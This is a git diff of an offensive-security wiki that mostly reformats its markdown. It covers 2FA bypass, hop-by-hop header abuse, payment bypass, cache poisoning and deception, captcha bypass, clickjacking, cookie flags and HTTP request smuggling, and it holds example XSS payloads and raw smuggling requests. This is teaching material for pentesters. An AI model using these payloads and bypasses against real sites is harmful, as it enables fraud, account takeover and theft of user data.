### CSRF/Clickjacking @@ -79,11 +81,11 @@ If the "remember me" functionality is attached to your IP address, you can try t #### Subdomains -If you can find some "testing" subdomains with the login functionality, they could be using old versions that don't support 2FA \(so it is directly bypassed\) or those endpoints could support a vulnerable version of the 2FA. +If you can find some "testing" subdomains with the login functionality, they could be using old versions that don't support 2FA (so it is directly bypassed) or those endpoints could support a vulnerable version of the 2FA. #### Apis -If you find that the 2FA is using an API located under a /v\*/ directory \(like "/v3/"\), this probably means that there are older API endpoints that could be vulnerable to some kind of 2FA bypass. +If you find that the 2FA is using an API located under a /v\*/ directory (like "/v3/"), this probably means that there are older API endpoints that could be vulnerable to some kind of 2FA bypass. ### Previous sessions @@ -91,11 +93,11 @@ When the 2FA is enabled, previous sessions created should be ended.This is becau ### Improper access control to backup codes -Backup codes are being generated immediately after 2FA is enabled and are available on a single request. After each subsequent call to the request, the codes can be regenerated or remain unchanged \(static codes\). If there are CORS misconfigurations/XSS vulnerabilities and other bugs that allow you to “pull” backup codes from the response’ request of the backup code endpoint, then the attacker could steal the codes and bypass 2FA if the username and password are known. +Backup codes are being generated immediately after 2FA is enabled and are available on a single request. After each subsequent call to the request, the codes can be regenerated or remain unchanged (static codes). If there are CORS misconfigurations/XSS vulnerabilities and other bugs that allow you to “pull” backup codes from the response’ request of the backup code endpoint, then the attacker could steal the codes and bypass 2FA if the username and password are known. ### Information Disclosure -If in the 2FA page appears some confidential information that you didn't know previously \(like the phone number\) this can be considered an information disclosure vulnerability. +If in the 2FA page appears some confidential information that you didn't know previously (like the phone number) this can be considered an information disclosure vulnerability. ### **Password-Reset == disable 2fa** @@ -111,4 +113,3 @@ If in the 2FA page appears some confidential information that you didn't know pr {% embed url="https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35" %} {% embed url="https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718" %} - diff --git a/pentesting-web/abusing-hop-by-hop-headers.md b/pentesting-web/abusing-hop-by-hop-headers.md index 004bacb0..2a7cf75b 100644 --- a/pentesting-web/abusing-hop-by-hop-headers.md +++ b/pentesting-web/abusing-hop-by-hop-headers.md @@ -8,7 +8,7 @@ According to [RFC 2612](https://tools.ietf.org/html/rfc2616#section-13.5.1), the Further to these defaults, a request [may also define a custom set of headers to be treated as hop-by-hop](https://tools.ietf.org/html/rfc2616#section-14.10) by adding them to the `Connection` header, like so: -```text +``` Connection: close, X-Foo, X-Bar ``` @@ -16,17 +16,17 @@ Connection: close, X-Foo, X-Bar In theory, proxies should remove hop-by-hop headers received before sending them to the next address. But you can find in the wild that this is done by some proxies and others just send all the headers adding its own `Connection`header. -![](../.gitbook/assets/image%20%2897%29.png) +![](<../.gitbook/assets/image (138).png>) ## Testing hop-by-hop deletions -If you find a header that makes the response of the server changes if it is set of if it is not, then you can search for hop-by-hop deletions. For example, the cookie header will make the response of the server to be dramatically different if it is set \(with a valid content\) and if it is not. +If you find a header that makes the response of the server changes if it is set of if it is not, then you can search for hop-by-hop deletions. For example, the cookie header will make the response of the server to be dramatically different if it is set (with a valid content) and if it is not. So, send a request with a valid header and with this value of the Connection header `Connection: close, Cookie` if the response is the same as if the cookie wasn't sent, then there is a proxy removing headers. You can find if the response of the server is any different if a header is deleted using this technique using[ this script](https://gist.github.com/ndavison/298d11b3a77b97c908d63a345d3c624d). Then, if you pass in a list of known headers, such as [this one](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers), you can observe which headers are causing effects despite not being in your original request: -```text +``` for HEADER in $(cat headers.txt); do python poison-test.py -u "https://target" -x "$HEADER"; sleep 1; done ``` @@ -34,22 +34,21 @@ This will cycle through the entire header list and print out if its presence in ## Abusing X-Forwarded-For -In general, proxies will add the IPs of the clients inside the `X-Forwarded-For` header so the next hop will know where does the petition comes from. However, if an attacker sends a Connection value like `Connection: close, X-Forwarded-For` and the first proxy sends the hop-by-hop headers with their values \(it sends the special Connection value\), then the second value may delete the X-Forward-For header. -At the end, the final App won't know who sent the request and may think that it was the last proxy, and is this scenario an attacker may be able to access resources protected by IP whitelisting \(maybe some `/admin` ?\). +In general, proxies will add the IPs of the clients inside the `X-Forwarded-For` header so the next hop will know where does the petition comes from. However, if an attacker sends a Connection value like `Connection: close, X-Forwarded-For` and the first proxy sends the hop-by-hop headers with their values (it sends the special Connection value), then the second value may delete the X-Forward-For header.\ +At the end, the final App won't know who sent the request and may think that it was the last proxy, and is this scenario an attacker may be able to access resources protected by IP whitelisting (maybe some `/admin` ?). Depending on the system being targeted, you may also have `Forwarded`, `X-Real-IP`, and a bunch of others that are less common. ## Detecting Proxies and fingerprinting services -This technique may be useful to detect proxies \(using the cookie technique\) or even to detect services. For example, if you abuse this technique to delete the header `X-BLUECOAT-VIA` and an error is thrown, then you have find that Bluecoat was being used. +This technique may be useful to detect proxies (using the cookie technique) or even to detect services. For example, if you abuse this technique to delete the header `X-BLUECOAT-VIA` and an error is thrown, then you have find that Bluecoat was being used. ## Other Attacks * For a possible DoS Cache poisoning abusing this technique read the original link -* This could be useful in attacks that may allow you to insert new headers \(low probability\) +* This could be useful in attacks that may allow you to insert new headers (low probability) * Also,it could be useful to bypass defensive functionalities. For example, if the lack of a header means that a request shouldn't be processed by a WAF, you could bypass a WAF with this technique. ## References {% embed url="https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers" %} - diff --git a/pentesting-web/bypass-payment-process.md b/pentesting-web/bypass-payment-process.md index b10ea428..75c0cc3e 100644 --- a/pentesting-web/bypass-payment-process.md +++ b/pentesting-web/bypass-payment-process.md @@ -1,9 +1,8 @@ # Bypass Payment Process -1. It is preferable to choose **PayPal** or **CoinPayments** as a payment method -2. Intercept all requests, you may find a parameter called _**Success**_ or _**Referrer**_ or _**Callback**_ -3. If the value inside the parameter has a URL like this _**example.com/payment/MD5HASH**_ for example +1. It is preferable to choose **PayPal **or **CoinPayments **as a payment method +2. Intercept all requests, you may find a parameter called _**Success**_ or _**Referrer **_or _**Callback**_ +3. If the value inside the parameter has a URL like this_** example.com/payment/MD5HASH**_ for example 4. **Copy it, and open it on a new window**, you will find that your payment was successful @SalahHasoneh1 - diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md index ce24c54c..586d1782 100644 --- a/pentesting-web/cache-deception.md +++ b/pentesting-web/cache-deception.md @@ -9,14 +9,14 @@ ## Cache Poisoning -The goal of poisoning the cache is to make the **clients load unexpected resources partially or totally controlled by the attacker**. +The goal of poisoning the cache is to make the **clients load unexpected resources partially or totally controlled by the attacker**.\ The poisoned response will only be served to users who visit the affected page while the cache is poisoned. As a result, the impact can range from non-existent to massive depending on whether the page is popular or not. -In order to perform a cache poisoning attack you need first to **identify ukeyed inputs** \(parameters not needed to appear on the the cached request but that change the returned page\), see **how to abuse** this parameter and **get the response cached**. +In order to perform a cache poisoning attack you need first to **identify ukeyed inputs** (parameters not needed to appear on the the cached request but that change the returned page), see **how to abuse** this parameter and **get the response cached**. ### Identify and evaluate unkeyed inputs -You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load script from there: +You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be** changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load script from there: ```markup @@ -24,23 +24,23 @@ You could use [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca ### Elicit a harmful response from the back-end server -With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it any any way \(perform a XSS or load a JS code controlled by you? perform a DoS?...\) +With the parameter/header identified check how it is being **sanitised **and **where **is it **getting reflected **or affecting the response from the header. Can you abuse it any any way (perform a XSS or load a JS code controlled by you? perform a DoS?...) ### Get the response cached -Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it you need to get the page cached. Depending on the resource you are trying to get in the cache this could time more or less time and some times you just will need to be trying several seconds. -The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached. -The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` -Another interesting header is **`Vary`** . This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. +Once you have **identified **the **page **that can be abused, which **parameter**/**header **to use and **how **to **abuse **it you need to get the page cached. Depending on the resource you are trying to get in the cache this could time more or less time and some times you just will need to be trying several seconds.\ +The header**` X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ +The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`\ +Another interesting header is **`Vary`** . This header is often used to **indicate additional headers** that are treated as** part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.\ One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +When caching a request, be **careful with the headers you use **because some of them could be **used unexpectedly **as **keyed **and the **victim will need to use that same header**. Always **test **a Cache Poisoning with **different browsers** to check if it's working. ## Examples ### Easiest example -A header like `X-Forwarded-For` is being reflected in the response unsanitized> +A header like` X-Forwarded-For` is being reflected in the response unsanitized>\ You can send a basic XSS payload and poison the cache so everybody that access page will be XSSed: ```markup @@ -63,9 +63,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. -### Using multiple headers to exploit web cache poisoning vulnerabilities +### Using multiple headers to exploit web cache poisoning vulnerabilities -Some time you will need to **exploit several ukneyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as domain name for the redirect. You can control where the pagepointed by the redirect. +Some time you will need to **exploit several ukneyed inputs **to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If **the **server **is **forwarding **all the **HTTP **requests **to HTTPS **and using the header `X-Forwarded-Scheme` as domain name for the redirect. You can control where the pagepointed by the redirect. ```markup GET /resources/js/tracking.js HTTP/1.1 @@ -93,19 +93,18 @@ Learn here about how to perform [Cache Poisoning attacks abusing HTTP Request Sm The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. -First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access w_ww.example.com/profile.php/nonexistent.js_ the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. +First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache. **Therefore, if you access w_ww.example.com/profile.php/nonexistent.js_ the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. -Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712). -In the example it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ \(**with the users sensitive information**\) is going to be returned and the cache server is going to save the result. -Then, the **attacker** can access _http://www.example.com/home.php_ and see the **confidential information** of the users that accessed before. +Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +In the example it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the users sensitive information**) is going to be returned and the cache server is going to save the result.\ +Then, the **attacker **can access _http://www.example.com/home.php _and see the **confidential information** of the users that accessed before. -Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file \(_.css_\) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type \(which is the expected for a _.css_ file\). +Note that the **cache proxy** should be **configured **to **cache **files **based **on the **extension **of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css _will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file). Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](http-request-smuggling.md#using-http-request-smuggling-to-perform-web-cache-deception). ## References * [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) -* [https://portswigger.net/web-security/web-cache-poisoning/exploiting\#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) +* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) * [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712) - diff --git a/pentesting-web/captcha-bypass.md b/pentesting-web/captcha-bypass.md index 26c9e4f8..eebe3e9e 100644 --- a/pentesting-web/captcha-bypass.md +++ b/pentesting-web/captcha-bypass.md @@ -2,17 +2,16 @@ ## Captcha Bypass -To **automate** the **testing** of some functions of the server that allows user input it **could** be **needed** to **bypass** a **captcha** implementation. Test these things: +To **automate **the **testing **of some functions of the server that allows user input it **could **be **needed **to **bypass **a **captcha **implementation. Test these things: * **Do not send the parameter** related to the captcha. * Change from POST to GET or other HTTP Verbs * Change to JSON or from JSON * Send the **captcha parameter empty**. -* Check if the value of the captcha is **in the source code** of the page. +* Check if the value of the captcha is **in the source code **of the page. * Check if the value is **inside a cookie.** * Try to use an **old captcha value** -* Check if you can use the **same** captcha **value** several times with **the same or different sessionID.** -* If the captcha consists on a **mathematical operation** try to **automate** the **calculation.** +* Check if you can use the **same **captcha **value **several times with** the same or different sessionID.** +* If the captcha consists on a **mathematical operation **try to **automate **the **calculation.** * If the captcha consists on **read characters from an image**, check manually or with code **how many images** are being used and if only a **few images are being used, detect them by MD5.** -* Use an **OCR** \([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract)\). - +* Use an **OCR **([https://github.com/tesseract-ocr/tesseract](https://github.com/tesseract-ocr/tesseract)). diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index 9d41db49..ac93980a 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -2,15 +2,15 @@ ## What is Clickjacking -Clickjacking is an attack that **tricks** a **user** into **clicking** a webpage **element** which is **invisible** or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. \(From [here](https://www.imperva.com/learn/application-security/clickjacking/)\). +Clickjacking is an attack that **tricks **a **user** into **clicking **a webpage **element **which is **invisible **or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. (From [here](https://www.imperva.com/learn/application-security/clickjacking/)). ### Prepopulate forms trick Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behaviours to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit. -### Populate form with Drag&Drop +### Populate form with Drag\&Drop -If you need the user to **fill a form** but you don't want to directly ask him to write some specific information \(like your email or and specific password that you know\), you can just ask him to **Drag&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). +If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like your email or and specific password that you know), you can just ask him to **Drag\&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). ### Basic Payload @@ -60,7 +60,7 @@ If you need the user to **fill a form** but you don't want to directly ask him t ``` -### Drag&Drop + Click payload +### Drag\&Drop + Click payload ```markup @@ -93,10 +93,10 @@ background: #F00; ### XSS + Clickjacking -If you have identified a **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link. -Example: -_You found a **self XSS** in some private details of the account \(details that **only you can set and read**\). The page with the **form** to set this details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with GET parameters._ -An attacker could prepared a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submited** and the values are modified, the **user will execute the XSS**. +If you have identified a **XSS attack that requires a user to click** on some element to **trigger **the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\ +Example:\ +_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form **to set this details is **vulnerable **to **Clickjacking **and you can **prepopulate** the **form **with GET parameters._\ +__An attacker could prepared a **Clickjacking **attack to that page **prepopulating **the **form **with the **XSS payload **and **tricking **the **user **into **Submit **the form. So, **when the form is submited** and the values are modified, the **user will execute the XSS**. ## How to avoid Clickjacking @@ -119,24 +119,24 @@ As frame busters are JavaScript then the browser's security settings may prevent Both the `allow-forms` and `allow-scripts` values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviours while allowing functionality within the targeted site. -Depending on the type of Clickjaking attack performed **you may also need to allow**: `allow-same-origin` and `allow-modals` or [even more](https://www.w3schools.com/tags/att_iframe_sandbox.asp). When preparing the attack just check the console of the browser, it may tell you which other behaviours you need to allow. +Depending on the type of Clickjaking attack performed** you may also need to allow**: `allow-same-origin` and `allow-modals` or [even more](https://www.w3schools.com/tags/att_iframe_sandbox.asp). When preparing the attack just check the console of the browser, it may tell you which other behaviours you need to allow. ### X-Frame-Options -The **`X-Frame-Options` HTTP response header** can be used to indicate whether or not a browser should be **allowed** to render a page in a `` or ` // The bot will load an URL with the payload @@ -326,7 +326,7 @@ document.querySelector('DIV').innerHTML=" | Normal | +| AJAX | $.get("...") | Normal | +| Image | \ | Normal | -Table from [here](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) -A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed. +Table from [here](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)\ +A cookie with _**SameSite **_attribute will **mitigate CSRF attacks **where a logged session is needed. -**Notice that from Chrome80 \(feb/2019\) the default behaviour of a cookie without a cookie** _**samesite**_ **attribute will be lax** \([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)\). Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None during the first 2 minutes and then as Lax**. +**Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie **_**samesite **_**attribute will be lax **([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)). Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None during the first 2 minutes and then as Lax**. + +## Cookies Flags ### HttpOnly -This avoids the **client** to access the cookie \(Via **Javascript** for example: `document.cookie`\) +This avoids the **client **to access the cookie (Via **Javascript **for example: `document.cookie`) #### **Bypasses** -* This could be Bypassed with **TRACE** **HTTP** requests as the response from the server \(if this HTTP method is available\) will reflect the cookies sent. This technique is called **Cross-Site Tracking**. - * This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypassed to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2. +* This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**. + * This technique is avoided by **modern browsers by not permitting sending a TRACE **request from JS. However, some bypassed to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2. * Another way is the exploitation of zero/day vulnerabilities of the browsers. ### Secure -The request will **only** send the cookie in an HTTP request only if the request is transmitted over a secure channel \(typically **HTTPS**\). - +The request will **only **send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically **HTTPS**). diff --git a/pentesting-web/http-request-smuggling.md b/pentesting-web/http-request-smuggling.md index e0d31c7c..f57c8dc6 100644 --- a/pentesting-web/http-request-smuggling.md +++ b/pentesting-web/http-request-smuggling.md @@ -2,12 +2,12 @@ ## What is -This vulnerability occurs when a **desyncronization** between **front-end proxies** and the **back-end** server allows an **attacker** to **send** an HTTP **request** that will be **interpreted** as a **single request** by the **front-end** proxies \(load balance/reverse-proxy\) and **as 2 request** by the **back-end** server. +This vulnerability occurs when a **desyncronization **between **front-end proxies** and the **back-end** server allows an **attacker **to **send **an HTTP **request **that will be **interpreted **as a **single request **by the **front-end** proxies (load balance/reverse-proxy) and **as 2 request **by the **back-end** server.\ This allows a user to **modify the next request that arrives to the back-end server after his**. ### Theory -#### [RFC Specification \(2161\)](https://tools.ietf.org/html/rfc2616) +#### [RFC Specification (2161)](https://tools.ietf.org/html/rfc2616) > If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored. @@ -17,20 +17,20 @@ This allows a user to **modify the next request that arrives to the back-end ser #### Transfer-Encoding: chunked -> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user. +> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\ > Chunked means that large data is sent in a series of chunks ### Reality -The **Front-End** \(a load-balance / Reverse Proxy\) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems. -This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**. +The **Front-End **(a load-balance / Reverse Proxy) **process **the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other **one provoking a **desyncronization **between the 2 systems. \ +This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted **by the **back-end** server **as 2 different requests**. The **danger **of this technique resides in the fact the **back-end** server **will interpret **the **2nd request injected **as if it **came from the next client** and the **real request **of that client will be **part **of the **injected request**. ### Particularities Remember that in HTTP **a new line character is composed by 2 bytes: `\r\n`** -* **Content-Length**: This header uses a **decimal number** to indicate the **number** of **bytes** of the **body** of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**. -* **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0\r\n\r\n` +* **Content-Length**: This header uses a **decimal number **to indicate the **number **of **bytes **of the **body **of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**. +* **Transfer-Encoding: **This header uses in the **body **an **hexadecimal number **to indicate the **number **of **bytes **of the **next chunk**. The **chunk **must **end **with a **new line **but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0\r\n\r\n` * **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling. ## Basic Examples @@ -45,70 +45,70 @@ So, request smuggling attacks involve placing both the `Content-Length` header a Here, the **front-end** server uses the **`Content-Length`** header and the **back-end** server uses the **`Transfer-Encoding`** header. We can perform a simple HTTP request smuggling attack as follows: -`POST / HTTP/1.1 -Host: vulnerable-website.com -Content-Length: 30 -Connection: keep-alive -Transfer-Encoding: chunked - -0 - -GET /404 HTTP/1.1 -Foo: x` +`POST / HTTP/1.1`\ +`Host: vulnerable-website.com`\ +`Content-Length: 30`\ +`Connection: keep-alive`\ +`Transfer-Encoding: chunked`\ +``\ +`0`\ +``\ +`GET /404 HTTP/1.1`\ +`Foo: x` -Note how `Content-Length` indicate the **bodies request length is 30 bytes long** \(_remember that HTTP uses `\r\n` as new line, so 2bytes each new line_\), so the reverse proxy **will send the complete request** to the back-end, and the back-end will process the `Transfer-Encoding` header leaving the `GET /404 HTTP/1.1` as the **begging of the next request** \(BTW, the next request will be appended to `Foo:x`\). +Note how` Content-Length` indicate the **bodies request length is 30 bytes long** (_remember that HTTP uses `\r\n` as new line, so 2bytes each new line_), so the reverse proxy **will send the complete request **to the back-end, and the back-end will process the `Transfer-Encoding` header leaving the `GET /404 HTTP/1.1` as the** begging of the next request** (BTW, the next request will be appended to `Foo:x`). ### TE.CL vulnerabilities Here, the front-end server uses the `Transfer-Encoding` header and the back-end server uses the `Content-Length` header. We can perform a simple HTTP request smuggling attack as follows: -`POST / HTTP/1.1 -Host: vulnerable-website.com -Content-Length: 4 -Connection: keep-alive -Transfer-Encoding: chunked - -7b -GET /404 HTTP/1.1 -Host: vulnerable-website.com -Content-Type: application/x-www-form-urlencoded -Content-Length: 30 - -x= -0` - +`POST / HTTP/1.1`\ +`Host: vulnerable-website.com`\ +`Content-Length: 4`\ +`Connection: keep-alive`\ +`Transfer-Encoding: chunked`\ +``\ +`7b`\ +`GET /404 HTTP/1.1`\ +`Host: vulnerable-website.com`\ +`Content-Type: application/x-www-form-urlencoded`\ +`Content-Length: 30`\ +``\ +`x=`\ +`0`\ +``\ +`` +In this case the **reverse-proxy** will **send the hole request** to the **back-end** as the **`Transfer-encoding`** indicates so. But, the **back-end** is going to **process **only the **`7b\r\n`** (4bytes) as indicated in the `Content-Lenght` .Therefore, the next request will be the one starting by `GET /404 HTTP/1.1` -In this case the **reverse-proxy** will **send the hole request** to the **back-end** as the **`Transfer-encoding`** indicates so. But, the **back-end** is going to **process** only the **`7b\r\n`** \(4bytes\) as indicated in the `Content-Lenght` .Therefore, the next request will be the one starting by `GET /404 HTTP/1.1` - -_Note that even if the attack must end with a `0\r\n\r\n` the following request is going to be appended as extra values of the **x** parameter. -Also note that the Content-Length of the embedded request will indicate the length of the next request that is going to b appended to the **x** parameter. If it's too small, only a few bytes will be appended, and if to large \(bigger that the length of the next request\) and error will be thrown for the next request._ +_Note that even if the attack must end with a `0\r\n\r\n` the following request is going to be appended as extra values of the **x** parameter._\ +_Also note that the Content-Length of the embedded request will indicate the length of the next request that is going to b appended to the **x** parameter. If it's too small, only a few bytes will be appended, and if to large (bigger that the length of the next request) and error will be thrown for the next request._ ### TE.TE vulnerabilities -Here, the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way. +Here, the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way.\ There are potentially endless ways to obfuscate the `Transfer-Encoding` header. For example: -`Transfer-Encoding: xchunked - -Transfer-Encoding : chunked - -Transfer-Encoding: chunked -Transfer-Encoding: x - -Transfer-Encoding: chunked -Transfer-encoding: x - -Transfer-Encoding:[tab]chunked - -[space]Transfer-Encoding: chunked - -X: X[\n]Transfer-Encoding: chunked - -Transfer-Encoding -: chunked` +`Transfer-Encoding: xchunked`\ +``\ +`Transfer-Encoding : chunked`\ +``\ +`Transfer-Encoding: chunked`\ +`Transfer-Encoding: x`\ +``\ +`Transfer-Encoding: chunked`\ +`Transfer-encoding: x`\ +``\ +`Transfer-Encoding:[tab]chunked`\ +``\ +`[space]Transfer-Encoding: chunked`\ +``\ +`X: X[\n]Transfer-Encoding: chunked`\ +``\ +`Transfer-Encoding`\ +`: chunked` -Depending on the server \(reverse-proxy or backing\) that **stops processing** the **TE** header, you will find a **CL.TE vulnerability** or a **TE.CL vulnerability**. +Depending on the server (reverse-proxy or backing) that **stops processing **the **TE **header, you will find a **CL.TE vulnerability** or a **TE.CL vulnerability**. ## Finding HTTP Request Smuggling @@ -116,46 +116,46 @@ Depending on the server \(reverse-proxy or backing\) that **stops processing** t If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay: -`POST / HTTP/1.1 -Host: vulnerable-website.com -Transfer-Encoding: chunked -Connection: keep-alive -Content-Length: 4 - -1 -A -0` +`POST / HTTP/1.1`\ +`Host: vulnerable-website.com`\ +`Transfer-Encoding: chunked`\ +`Connection: keep-alive`\ +`Content-Length: 4`\ +``\ +`1`\ +`A`\ +`0` Since the front-end server uses the `Content-Length` header, it will forward only part of this request, omitting the `X`. The back-end server uses the `Transfer-Encoding` header, processes the first chunk, and then waits for the next chunk to arrive. This will cause an observable time delay. Sometimes, instead of getting a timeout you receive a 400 bad request from the final host like in the following scenario, where a CL.TE payload is sent: -![](../.gitbook/assets/image%20%28444%29.png) +![](<../.gitbook/assets/image (444).png>) And the response is a redirect containing an error inside the body with even the version of the haproxy used: -![](../.gitbook/assets/image%20%28443%29.png) +![](<../.gitbook/assets/image (443).png>) ### Finding TE.CL vulnerabilities using timing techniques If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay: -`POST / HTTP/1.1 -Host: vulnerable-website.com -Transfer-Encoding: chunked -Connection: keep-alive -Content-Length: 6 - -0 - -X` +`POST / HTTP/1.1`\ +`Host: vulnerable-website.com`\ +`Transfer-Encoding: chunked`\ +`Connection: 